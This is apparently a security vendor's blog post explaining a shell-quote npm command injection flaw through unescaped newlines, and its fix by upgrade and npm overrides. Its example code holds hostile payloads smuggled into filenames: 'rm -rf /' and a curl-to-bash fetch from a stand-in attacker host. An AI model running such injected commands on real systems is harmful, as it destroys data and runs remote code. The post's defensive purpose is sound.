Back to Blog
critical SEVERITY6 min read

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

O
By Orbis AppSec
Published August 23, 2026Reviewed August 23, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability in the shell-quote npm package (versions prior to 1.9.0) caused by improper escaping of line terminators (CWE-78: OS Command Injection). Attackers can inject malicious shell commands through user input containing newline characters. The fix requires upgrading shell-quote to version 1.9.0 or later, typically using npm overrides in package.json to ensure all transitive dependencies use the patched version.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.9.0 using npm overrides
riskArbitrary code execution on the server
languageJavaScript/Node.js
root causeshell-quote failed to escape line terminators (\n, \r) in shell command strings
vulnerabilityCommand Injection via Unescaped Line Terminators

Introduction

A critical security flaw lurked in the dependency tree—the shell-quote package at version 1.8.3 contained a command injection vulnerability that could allow attackers to execute arbitrary code on the server. The package-lock.json file locked in this vulnerable version, and without intervention, any code path that processed user input through shell-quote's parsing or quoting functions was potentially exploitable.

The vulnerability, tracked as CVE-2026-9277, stems from shell-quote's failure to properly escape line terminator characters (\n, \r, and Unicode line separators). When user-controlled input containing these characters passes through shell-quote and eventually reaches a shell, attackers can break out of the intended command context and inject their own malicious commands.

This matters because shell-quote is a foundational package—it's used by popular tools like cross-spawn, npm-run-all, and many build systems. A single vulnerable transitive dependency can expose your entire application.

The Vulnerability Explained

The shell-quote package provides functions to parse and quote shell command strings safely. It's commonly used when applications need to construct shell commands from user input or pass arguments to child processes. The core promise is that shell-quote will properly escape dangerous characters so they're treated as literal strings, not shell metacharacters.

However, version 1.8.3 and earlier had a critical blind spot: line terminator characters were not being escaped. In shell syntax, a newline character effectively ends one command and begins another. Consider this attack scenario:

const shellQuote = require('shell-quote');

// User provides this malicious filename
const userInput = "file.txt\nrm -rf /";

// Application tries to safely quote the input
const quoted = shellQuote.quote([userInput]);

// Expected: 'file.txt\nrm -rf /'  (escaped newline)
// Actual in 1.8.3: 'file.txt
// rm -rf /'  (literal newline - command injection!)

When this quoted string is passed to a shell (via child_process.exec() or similar), the shell interprets the unescaped newline as a command separator. Instead of processing a single filename, it executes:
1. A partial command with file.txt
2. The attacker's injected command: rm -rf /

Real-World Attack Scenario

Imagine an Electron application (as indicated by the electron and electron-builder dependencies in this project's package.json) that allows users to specify file paths for processing:

const { exec } = require('child_process');
const shellQuote = require('shell-quote');

function processUserFile(filename) {
  // Developer thinks this is safe because shell-quote handles escaping
  const safeFilename = shellQuote.quote([filename]);
  exec(`cat ${safeFilename}`, (error, stdout) => {
    // Process output...
  });
}

// Attacker provides:
processUserFile("innocent.txt\ncurl attacker.com/shell.sh | bash");

With the vulnerable shell-quote 1.8.3, the attacker's payload executes, potentially downloading and running a malicious script with the application's privileges.

The Fix

The fix involves two precise changes to ensure the patched version of shell-quote is used throughout the entire dependency tree:

Before (Vulnerable)

package-lock.json:

"node_modules/shell-quote": {
  "version": "1.8.3",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
  "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",

After (Fixed)

package-lock.json:

"node_modules/shell-quote": {
  "version": "1.9.0",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
  "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWBXgkfml7hjqA==",

package.json (new overrides section):

"overrides": {
  "shell-quote": "1.9.0"
}

Why Both Changes Were Necessary

  1. package-lock.json update: This updates the direct resolution of shell-quote to 1.9.0, ensuring the fixed version is installed.

  2. package.json overrides: This is the critical addition. The overrides field in npm forces ALL instances of shell-quote throughout the entire dependency tree to use version 1.9.0. Without this, transitive dependencies (packages that depend on shell-quote) might still pull in the vulnerable 1.8.3 version.

The shell-quote 1.9.0 release properly escapes line terminators by converting them to their escaped equivalents (\\n, \\r) before they reach the shell, ensuring they're treated as literal characters rather than command separators.

Prevention & Best Practices

1. Use npm Overrides for Security Patches

When a vulnerability exists in a transitive dependency, overrides ensures consistent patching:

{
  "overrides": {
    "vulnerable-package": "^fixed.version"
  }
}

2. Prefer spawn() Over exec()

When possible, use child_process.spawn() with an array of arguments instead of exec():

// Vulnerable pattern
exec(`command ${userInput}`);

// Safer pattern - arguments are not interpreted by a shell
spawn('command', [userInput]);

3. Implement Dependency Scanning

Use tools like Trivy, Snyk, or npm audit in your CI/CD pipeline to catch vulnerable dependencies before they reach production.

4. Validate Input at the Boundary

Even with proper escaping, validate that user input matches expected patterns:

const SAFE_FILENAME_REGEX = /^[a-zA-Z0-9._-]+$/;
if (!SAFE_FILENAME_REGEX.test(filename)) {
  throw new Error('Invalid filename');
}

5. Keep Dependencies Updated

Regularly update dependencies and review changelogs for security fixes. Consider using Dependabot or Renovate for automated updates.

Key Takeaways

  • Line terminators are shell metacharacters: Characters like \n and \r can break out of command context just like ; or |—shell-quote 1.8.3 missed this edge case
  • Transitive dependencies require overrides: Simply updating package-lock.json isn't enough when vulnerable packages exist deep in your dependency tree—the overrides field ensures consistent patching
  • Electron apps are high-value targets: This project uses Electron, meaning command injection could compromise the user's entire desktop environment, not just a sandboxed server
  • Trust but verify escaping libraries: Even well-maintained packages like shell-quote can have gaps—defense in depth with input validation remains essential
  • The integrity hash changed completely: Note how the SHA-512 integrity hash differs entirely between versions—this is your verification that the package contents have changed

How Orbis AppSec Detected This

  • Source: User-influenced input entering the application through various entry points that eventually flow to shell command construction
  • Sink: Any code path using shell-quote.quote() or shell-quote.parse() where the output is passed to shell execution functions like child_process.exec()
  • Missing control: The shell-quote library (version 1.8.3) failed to escape line terminator characters, allowing command injection even when developers correctly used the library
  • CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Upgraded shell-quote from 1.8.3 to 1.9.0 and added npm overrides to ensure all transitive dependencies use the patched version

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 demonstrates how a subtle escaping oversight—failing to handle line terminators—can escalate to critical arbitrary code execution. The shell-quote package is trusted by thousands of projects to safely construct shell commands, making this vulnerability particularly impactful.

The fix was straightforward: upgrade to version 1.9.0 and use npm overrides to ensure consistent patching across the dependency tree. However, the lesson extends beyond this single CVE. Defense in depth remains essential—combine proper escaping libraries with input validation, prefer spawn() over exec(), and implement automated dependency scanning to catch these issues before attackers do.

Your dependencies are part of your attack surface. Treat them accordingly.

References

Frequently Asked Questions

What is command injection?

Command injection is a security vulnerability where an attacker can execute arbitrary operating system commands on the host server by manipulating input that is passed to a shell interpreter without proper sanitization.

How do you prevent command injection in Node.js?

Use parameterized commands, avoid shell=true when possible, validate and sanitize all user input, use libraries like shell-quote (patched versions), and implement allowlists for acceptable command arguments.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

No, input validation alone is insufficient. You should combine validation with proper escaping using libraries like shell-quote, use parameterized commands, and prefer spawn() over exec() to avoid shell interpretation entirely.

Can static analysis detect command injection?

Yes, static analysis tools like Trivy, Semgrep, and Snyk can detect command injection vulnerabilities by identifying dangerous patterns like unescaped user input flowing into shell commands or flagging known vulnerable package versions.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #225

Related Articles

critical

How Distributed Lock Takeover Happens in Node.js and How to Fix It

A critical vulnerability in `redis-lock/server.mjs` allowed any authenticated client to release another client's lock by guessing predictable holder identifiers like process IDs or hostnames. The fix implements cryptographically random `lockId` values that are minted on lock acquisition and validated on release, eliminating the exploit primitive entirely.

high

How Denial of Service via Infinite Loop happens in JavaScript (nanoid) and how to fix it

A high-severity denial of service vulnerability (CVE-2026-67213) was discovered in nanoid versions before 5.1.6 and 3.3.18, where the `customAlphabet` function could enter an infinite loop during random ID generation. The fix upgrades the transitive nanoid dependency from 3.3.16 to 3.3.18 using pnpm overrides, ensuring the vulnerable code path is eliminated from the entire dependency tree including PostCSS.

high

How Information Disclosure via Unstripped Credential Headers Happens in Electron Apps and How to Fix It

A high-severity vulnerability (CVE-2026-54673) in the builder-util-runtime package allowed sensitive credential headers to leak during HTTP redirects in Electron applications. The fix upgrades builder-util-runtime from version 9.5.1 to 9.7.0, which properly strips authentication headers before following redirects to prevent information disclosure.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How Missing CSRF Middleware happens in Express.js and how to fix it

A high-severity CSRF vulnerability was discovered in `libProxy.js` of an Express.js application — the app had no CSRF middleware protecting its state-changing routes, leaving them open to cross-site request forgery attacks. The fix introduces a `csrf` token library, a `/csrf-token` endpoint to issue tokens, and a middleware that validates `x-csrf-token` headers or `_csrf` body fields on all non-safe HTTP methods. This proactive hardening removes an exploit primitive that could be chained with ot

critical

How Unsafe Random Function Vulnerabilities Happen in Node.js and How to Fix Them

A critical vulnerability (CVE-2025-7783) was discovered in the popular `form-data` npm package where an unsafe random function was used to generate boundary strings for multipart form data. This weakness could allow attackers to predict boundary values and potentially inject malicious content into HTTP requests. The fix upgrades form-data to patched versions (2.5.4, 3.0.4, or 4.0.4) that use cryptographically secure random number generation.